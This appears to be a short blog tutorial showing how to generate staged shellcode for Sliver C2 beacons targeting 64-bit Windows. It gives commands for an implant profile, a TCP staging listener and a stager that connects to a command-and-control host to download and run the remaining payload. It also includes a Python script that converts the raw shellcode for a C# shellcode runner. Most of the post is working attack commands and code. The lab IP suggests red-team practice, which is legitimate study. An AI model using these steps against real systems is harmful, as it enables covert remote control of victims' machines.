top of page
Search

Generating Staged Shellcode (Sliver C2)

  • Writer: Kshitij Khakurdikar
    Kshitij Khakurdikar
  • Dec 26, 2023
  • 2 min read

This is a quick tutorial on generating staged shellcode for Sliver C2 beacons. We are also going to have a look at how raw shellcode could be formatted to be consumed by shellcode runner programmed in C#.


It is assumed that the Sliver C2 is already installed setup on your system. I am using Kali Linux for demonstration.


We are going to start with setting up a new profile for our implant.

profiles new --http 192.168.122.129 --skip-symbols --disable-sgn --format shellcode --arch amd64 win64

We have opted to skip obfuscation of symbols (--skip-symbols) and also disabled shikata-ga-nai encoder (--disable-sgn)

We are going to target 64-bit Windows OS. The name of this profile is win64.


Next, we are going to setup a staging listener for our profile which will serve our implant shellcode. We will use TCP as our staging protocol. This essentially sets up staging server on TCP Port 8443.

stage-listener --url tcp://192.168.122.129:8443 --profile win64

Next, we generate our raw shellcode for the listener as shown below. This shellcode upon execution will basically connect to staging server specified as LHOST:LPORT and download remaining payload for further execution.

generate stager --lhost 192.168.122.129 --lport 8443 --arch amd64 --format raw --save /tmp/shellcode.bin

The raw shellcode is output to /tmp/shellcode.bin file.


Now that we have staging server and shellcode in place, we will start HTTPS listener to listen for any connections from beacon.


If you observe the contents of /tmp/shellcode.bin file you will see there is a lot of gibberish binary data


We would now like to convert our raw shellcode to C# compatible format.

I have edited the script to accept raw shellcode file as an argument and output only the C# formatted shellcode along with its size -

#!/usr/bin/env python3
import base64
import sys
filename = sys.argv[1]
# Edit this line with the path to the binary file containing shellcode you are converting
with open(str(filename), 'rb') as sc_handle:
    sc_data = sc_handle.read()
# Just raw binary blog base64 encoded
encoded_raw = base64.b64encode(sc_data)
# Print in "standard" shellcode format \x41\x42\x43....
binary_code = ''
fs_code = ''
size = 0
for byte in sc_data:
    binary_code += "\\x" + hex(byte)[2:].zfill(2)
    # this is for f#
    fs_code += "0x" + hex(byte)[2:].zfill(2) + "uy;"
    size = size + 1
# Convert this into a C# style shellcode format
cs_shellcode = "0" + ",0".join(binary_code.split("\\")[1:])
# Base 64 encode the C# code (for use with certain payloads :))
encoded_cs = base64.b64encode(cs_shellcode.encode())
# Write out the files to disk (edit this path as needed)
with open('formatted_shellcode.txt', 'w') as format_out:
    #format_out.write("Binary Blob base64 encoded:\n\n")
    #format_out.write(encoded_raw.decode('ascii'))
    #format_out.write("\n\nStandard shellcode format:\n\n")
    #format_out.write(binary_code)
    format_out.write("\n\nC# formatted shellcode:\n\n")
    format_out.write(cs_shellcode)
    format_out.write("\n\nSize")
    format_out.write(str(size))
    #format_out.write("\n\nBase64 Encoded C# shellcode:\n\n")
    #format_out.write(encoded_cs.decode('ascii'))
    #format_out.write("\n\nF# Shellcode:\n\n")
    #format_out.write(fs_code)
    #format_out.write("\n")

Let's run the script to generate C# formatted shellcode -

sudo ./shellcode_formatter.py /tmp/shellcode.bin

This will create formatted_shellcode.txt file in the same directory containing the shellcode and it's size.




 
 
 

Contact Me

  • LinkedIn Social Icon
  • Twitter Social Icon
bottom of page